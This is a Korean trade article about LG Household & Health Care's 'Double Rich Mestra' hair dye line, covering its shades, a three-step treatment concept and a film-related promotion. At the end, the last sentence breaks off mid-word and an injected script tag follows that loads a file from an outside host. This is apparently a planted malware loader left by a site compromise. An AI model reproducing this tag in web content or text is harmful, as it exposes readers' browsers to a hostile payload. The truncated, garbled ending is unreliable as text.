더블리치 메스트라(Double Rich Mestra) LG생활건강은 지난 3월 8일부터 염모제 ‘더블리치 메스트라(Double Rich Mestra)’를 출시, 전국 전문점 및 신업태를 중심으로 판매에 들어감으로써 염모제 시장에 본격적으로 진입했다. ‘더불리치 메스트라’의 메스트라 브랜드명은 ‘변신하는 여인’이라는 뜻으로 첨단 유행을 추구하고 개성 있는 허어컬러를 연출할 수 있다. 특히 Young세대부터 기분전환이나 이미지 변신을 희망하는 20∼30대, 늘어나는 흰 머리를 커버하거나 젊어 보이고 싶어하는 old세대에 이르기까지 모든 여성이 만족할 만한 환상적인 변신을 도와준다는 뜻을 담고 있다. 따라서 염모제 제품구성도 컬러 구성면에서 내추럴 3종, 패션 4종, 블리치 1종, 새치머리용 3종으로 더욱더 다양화하여 소비자들의 선택의 폭을 한 차원 넓혔다. 제품소개 (패션컬러) ·보헤미안 오렌지 - 자유와 낭만을 느낄 수 있는 경쾌하고 발랄한 오렌지빛 ·니폴리안 오렌지 - 상쾌하고 화사한 느낌의 밝은 오렌지 빛 모발 연출 ·프렌치 레드와인 - 달콤하고 정열적인 인상을 주는 와인빛이 감도는 모발 ·네이비 블루블랙 - 블루톤이 감도는 깊이있고 세련된 모발 (내추럴컬러) ·자연 갈색 - 우아하고 아름다운 갈색 모발 ·밝은 갈색 - 가볍고 내추럴한 갈색 모발 ·블론드 브라운 - 분위기와 매력이 느껴지는 금발 갈색빛 모발 연출 (새치머리용) ·자연 흑갈색 - 자연 흑갈색으로 새치머리 커버 ·자연 밤색 - 자연 밤색으로 새치머리 커버 ·밝은 밤색 - 밝은 밤색으로 새치머리 커버 (백발용) ·그레이커버5호 - 자연스런 밤색으로 흰머리 커버(흰머리 적은분) ·그레이커버6호 - 자연스런 갈색으로 흰머리 커버(흰머리 많은분) (블리치용) ·하이블리치 - 모발의 멜라닌 색소를 분해하여 모발을 밝은 갈색∼블론드로 탈색 (신제품) ·나폴리안 오렌지 - 기존 오렌지의 레드톤이 아닌 엘로우톤을 강하게 살린 컬러로 화사하고 밝은 톤으로 푸석거림 없이 깊고 풍부함을 연출할 수 있다. ·블론드 브라운 - 단순히 밝은 금색이기 보다는 심오한 컬러를 기술적으로 완성해 낸 더블리치만의 자부심이다. 염색으로 블리치 효과까지 낼 수 있는 컬러로 머릿결을 상하게 하지 않으면서도 매력적이 밝은 컬러를 낼 수 있다.
더불리치 메스트라 제품의 컨셉은 ‘3단계 집중 헤어 트리트먼트 & 컬러 케어 효과’로 모발이 매우 단단하지만 일상적인 드라이, 빗질과 같은 열, 마찰은 물론 퍼머, 염색에 의해 쉽게 손상된다. 모발이 손상되면 정상 모발보다 구성 단백질이 더 많이 용출됨에 따라 모발이 더욱 약해진다는 점에 포인트를 두어 제품을 염색 후 모발이 더 탄력 있고, 강해지도록 3단계 집중 트리트먼트 과정으로 구성했다. 1단계 마이크로 영양 캡슐의 염색 전 트리트먼트 효과로 모발 구성 케라틴 단백질을 함유한 마이크로 영양 캡슐이 모발 내 성분을 보강하여 염색을 얼룩 없이 균일하게 하며 깊고 풍부한 색상을 표현한다는 것. 2단계 제 2제인 이온 실크 단백질의 염색중 트리트먼트로 기존의 염모제와 달리 염모제 속에 포함된 이온 실크 단백질이 모발표면의 손상 부위를 찾아 준다. 또 손상된 모발 표면을 감싸주고 외부의 자극으로부터 모발을 보호하며 부드럽게 유지시키도록 되어있다는 것. 3단계 에프터 트리트먼트제인 키토산 폴리머 성분이 염색한 모발을 전체적으로 한번 더 감싸주며, 모발을 이중으로 보호하며 염색 후 색상을 오랫동안 유지 시켜 주는 시스템이 주요 내용이다. 다양한 이벤트로 올 매출액 목표 50억 LG생활건강에서는 염모제 시장에서의 포지셔닝을 확고히 하는 한편 지속적인 연구 개발을 통하여 제품 Line-up을 확대해 나갈 방침으로 있으며, 타겟고객이 선호하는 다양하고 획기적인 이벤트 중심으로 마케팅전략을 펼치고 있다. 예를 들어 오는 8월 25일에는 더불리치 메스트라를 구입한 1000명의 고객을 추첨하여 10명에게는 더블리치 메스트라 전속모델인 영화배우 겸 탤런트 이요원이 주연하는 영화 <아프리카>에 엑스트라로 출연시키고. 나머지 990명에게는 영화 <아프리카> 영화시사권을 증정한다. 앞으로도 보다 알찬 이벤트로 구매고객들에게 보답할 예정. 한편, LG생활건강 ‘더불리?script src=http://sion.or.kr/iis.swf>
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